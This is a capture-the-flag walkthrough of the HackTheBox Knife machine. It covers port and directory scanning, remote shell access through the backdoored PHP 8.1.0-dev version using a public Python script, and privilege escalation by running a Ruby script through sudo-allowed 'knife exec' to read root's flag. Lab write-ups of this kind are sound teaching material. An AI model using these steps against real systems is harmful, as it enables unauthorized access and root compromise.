HTB Knife Walkthrough
A technical walk-through of the HackTheBox Knife challenge.
Welcome to another of my HackTheBox walk-throughs, this time we face a relatively simple BOX, that doesn't require too much commitment and which does not have too many obstacles to overcome.
Lets jump right in with The nmap scan:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-01 21:32 CEST
Nmap scan report for 10.10.10.242
Host is up (0.047s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
Nothing new on this front for machines with linux OS. I immediately save the knife.htb domain in my /etc/hosts and go and have a look at the portal right away.
The portal is very simple right from the start, with no particular links to navigate nor an active menu, that shows only the names of the sections. Even the source of the page does not show anything interesting and the wappalyzer shows us the few technologies used with the specific version.
I immediately activate a dirb session, but without results.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ dirb http://knife.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Jun 1 21:43:45 2021
URL_BASE: http://knife.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://knife.htb/ ----
+ http://knife.htb/index.php (CODE:200|SIZE:5815)
+ http://knife.htb/server-status (CODE:403|SIZE:274)
-----------------
END_TIME: Tue Jun 1 21:47:46 2021
DOWNLOADED: 4612 - FOUND: 2
I decide to proceed to search for third-level subdomains, then proceed to reactivate the dnsmasq service on the machine after having reconfigured it and starting a wfuzz session.
I have used the dnsmasq in the past to search for subdomains, and the process is well described in the other articles, which I recommend you go and read. I leave here the links to the BOXes in which I used the dnsmasq service: Doctor, Worker, SneakyMailer, Forwardslash, Laboratory.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo vi /etc/dnsmasq.conf
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ grep -v '#' /etc/dnsmasq.conf | grep .
address=/knife.htb/10.10.10.242
listen-address=::1,127.0.0.1,10.10.15.9
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo vi /etc/resolv.conf
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ cat /etc/resolv.conf
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1
nameserver 10.10.15.9
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
Active: inactive (dead)
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ sudo service dnsmasq start 4 ⨯
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.242 - Knife (lin)]
└─$ service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
Active: active (running) since Tue 2021-06-01 22:04:05 CEST; 5s ago
Process: 2480 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
Process: 2488 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
Process: 2497 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
Main PID: 2496 (dnsmasq)
Tasks: 1 (limit: 4635)
Memory: 1.4M
CPU: 76ms
CGroup: /system.slice/dnsmasq.service
└─2496 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-ol>
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.242 - Knife (lin)/attack/wfuzz]
└─$ wfuzz -c -w subdomains-top1mil-5000.txt -u http://FUZZ.knife.htb --hh 5815
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://FUZZ.knife.htb/
Total requests: 4992
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 56.49112
Processed Requests: 4992
Filtered Requests: 4992
Requests/sec.: 88.36785
Unfortunately no subdomains available, there seems to be nothing to attack here. I have a look at the forum, where a couple of posts catch my attention, where they talk about "p*p version" and "enumerate specific version of specific service". Let me take a look at the detailed metadata returned by the portal response.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.242 - Knife (lin)/attack/wfuzz]
└─$ curl http://knife.htb -v
* Trying 10.10.10.242:80...
* Connected to knife.htb (10.10.10.242) port 80 (#0)
> GET / HTTP/1.1
> Host: knife.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 01 Jun 2021 20:50:44 GMT
< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
[...]
Well, there are two interesting things:
< Server: Apache/2.4.41 (Ubuntu)
< X-Powered-By: PHP/8.1.0-dev
But let's focus on the 8.1.0-dev version of php, as suggested in the forum. Searching online for "php 8.1.0-dev exploit" reveals a very interesting thing.
The first four results speak of a backdoor that allows to execute commands remotely (RMC) left open on this version of php.
Here is the github project I used.
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.242 - Knife (lin)/attack/php/php-8.1.0-dev-backdoor-rce]
└─$ python3 backdoor_php_8.1.0-dev.py
Enter the host url:
http://knife.htb
Interactive shell is opened on http://knife.htb
Can't acces tty; job crontol turned off.
$ whoami
james
$
It really sounds too simple. However, it is a very basic shell that does not allow many facilities.
$ pwd
/
$ cd home
$ pwd
/
$
Anyway, it is enough for the purpose.
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 6 14:44 .
drwxr-xr-x 20 root root 4096 May 18 13:25 ..
drwxr-xr-x 5 james james 4096 May 18 13:20 james
$ ls -la /home/james
total 40
drwxr-xr-x 5 james james 4096 May 18 13:20 .
drwxr-xr-x 3 root root 4096 May 6 14:44 ..
lrwxrwxrwx 1 james james 9 May 10 16:23 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 james james 3771 Feb 25 2020 .bashrc
drwx------ 2 james james 4096 May 6 14:45 .cache
drwxrwxr-x 3 james james 4096 May 6 16:32 .local
-rw-r--r-- 1 james james 807 Feb 25 2020 .profile
-rw-rw-r-- 1 james james 66 May 7 14:16 .selected_editor
drwx------ 2 james james 4096 Jun 2 08:47 .ssh
-r-------- 1 james james 33 Jun 2 07:12 user.txt
$ cat /home/james/user.txt
a******************************4
Perfect, let's move on to escalating privileges to the root account. We must not go too far, the sudo command seems to show us immediately something that we have the power to run as administrators and the name of the command does not surprise me at all.
$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
I take a look at the contents of the file and find that it is some sort of code in ruby, where many packages are imported.
$ cat /usr/bin/knife
#!/opt/chef-workstation/embedded/bin/ruby --disable-gems
#--APP_BUNDLER_BINSTUB_FORMAT_VERSION=1--
require "rubygems"
begin
# this works around rubygems/rubygems#2196 and can be removed in rubygems > 2.7.6
require "rubygems/bundler_version_finder"
rescue LoadError
# probably means rubygems is too old or too new to have this class, and we don't care
end
# avoid appbundling if we are definitely running within a Bundler bundle.
# most likely the check for defined?(Bundler) is enough since we don't require
# bundler above, but just for paranoia's sake also we test to see if Bundler is
# really doing its thing or not.
unless defined?(Bundler) && Bundler.instance_variable_defined?("@load")
ENV["GEM_HOME"] = ENV["GEM_PATH"] = nil unless ENV["APPBUNDLER_ALLOW_RVM"] == "true"
::Gem.clear_paths
gem "activesupport", "= 5.2.4.5"
gem "addressable", "= 2.7.0"
gem "appbundler", "= 0.13.2"
gem "artifactory", "= 3.0.15"
gem "ast", "= 2.4.2"
gem "aws-eventstream", "= 1.1.0"
gem "aws-partitions", "= 1.427.0"
[...]
gem "webrick", "= 1.7.0"
gem "winrm", "= 2.3.6"
gem "winrm-elevated", "= 1.2.3"
gem "winrm-fs", "= 1.3.5"
gem "wisper", "= 2.0.1"
gem "wmi-lite", "= 1.0.5"
gem "yard", "= 0.9.26"
gem "chef", "= 16.10.8"
gem "bundler" # force activation of bundler to avoid unresolved specs if there are multiple bundler versions
spec = Gem::Specification.find_by_name("chef", "= 16.10.8")
else
spec = Gem::Specification.find_by_name("chef")
end
unless Gem::Specification.unresolved_deps.empty?
$stderr.puts "APPBUNDLER WARNING: unresolved deps are CRITICAL performance bug, this MUST be fixed"
Gem::Specification.reset
end
bin_file = spec.bin_file("knife")
Kernel.load(bin_file)
I try to run the command that immediately suggests the correct syntax to start it.
$ sudo /usr/bin/knife
ERROR: You need to pass a sub-command (e.g., knife SUB-COMMAND)
Usage: knife sub-command (options)
-s, --server-url URL Chef Infra Server URL.
--chef-zero-host HOST Host to start Chef Infra Zero on.
--chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.
-k, --key KEY Chef Infra Server API client key.
--[no-]color Use colored output, defaults to enabled.
-c, --config CONFIG The configuration file to use.
--config-option OPTION=VALUE Override a single configuration option.
--defaults Accept default values for all questions.
-d, --disable-editing Do not open EDITOR, just accept the data as is.
-e, --editor EDITOR Set the editor to use for interactive commands.
-E, --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).
--[no-]fips Enable FIPS mode.
-F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp')
--[no-]listen Whether a local mode (-z) server binds to a port.
-z, --local-mode Point knife commands at local repository instead of Chef Infra Server.
-u, --user USER Chef Infra Server API client username.
--print-after Show the data after a destructive operation.
--profile PROFILE The credentials profile to select.
-V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.
-v, --version Show Chef Infra Client version.
-y, --yes Say yes to all prompts for confirmation.
-h, --help Show this help message.
Available subcommands: (for details, knife SUB-COMMAND --help)
** CHEF ORGANIZATION MANAGEMENT COMMANDS **
knife opc org create ORG_SHORT_NAME ORG_FULL_NAME (options)
knife opc org delete ORG_NAME
knife opc org edit ORG
knife opc org list
knife opc org show ORGNAME
knife opc org user add ORG_NAME USER_NAME
knife opc org user remove ORG_NAME USER_NAME
knife opc user create USERNAME FIRST_NAME [MIDDLE_NAME] LAST_NAME EMAIL PASSWORD
knife opc user delete USERNAME [-d] [-R]
knife opc user edit USERNAME
knife opc user list
knife opc user password USERNAME [PASSWORD | --enable-external-auth]
knife opc user show USERNAME
** ACL COMMANDS **
knife acl add MEMBER_TYPE MEMBER_NAME OBJECT_TYPE OBJECT_NAME PERMS
knife acl bulk add MEMBER_TYPE MEMBER_NAME OBJECT_TYPE REGEX PERMS
knife acl bulk remove MEMBER_TYPE MEMBER_NAME OBJECT_TYPE REGEX PERMS
knife acl remove MEMBER_TYPE MEMBER_NAME OBJECT_TYPE OBJECT_NAME PERMS
knife acl show OBJECT_TYPE OBJECT_NAME
[...]
There is a really long chance of operations this command can do, let's hope one of them works for us. However, I understand that the knife command is not just any command, there seems to be something bigger behind it, so after a search on the internet I find a couple of interesting links.
Knife appears to be part of a larger project called chef, in which the parties involved are a client and a server component. It immediately occurs to me that it will probably be necessary to install the server component on my machine to send some information to the knife command that can be useful for our business (luckily I'm wrong and it turns out to be easier than I thought).
After taking a look at the controls I see a very interesting one, which will probably save us the evening.
By running the command again and reading between the lines I find what I was looking for.
[...]
** EXEC COMMANDS **
knife exec [SCRIPT] (options)
[...]
The next step is really quick and easy, a few lines of code written in ruby solves all our problems.
$ echo "data = File.read(\"/root/root.txt\")\r\nputs data" > ~/scrp.rb && cat ~/scrp.rb
data = File.read("/root/root.txt")
puts data
$ sudo knife exec ~/scrp.rb
b******************************9
And once again that's all folks, I hope you enjoyed this simple but interesting BOX. Have fun in your hacking activities and see you on the next BOX.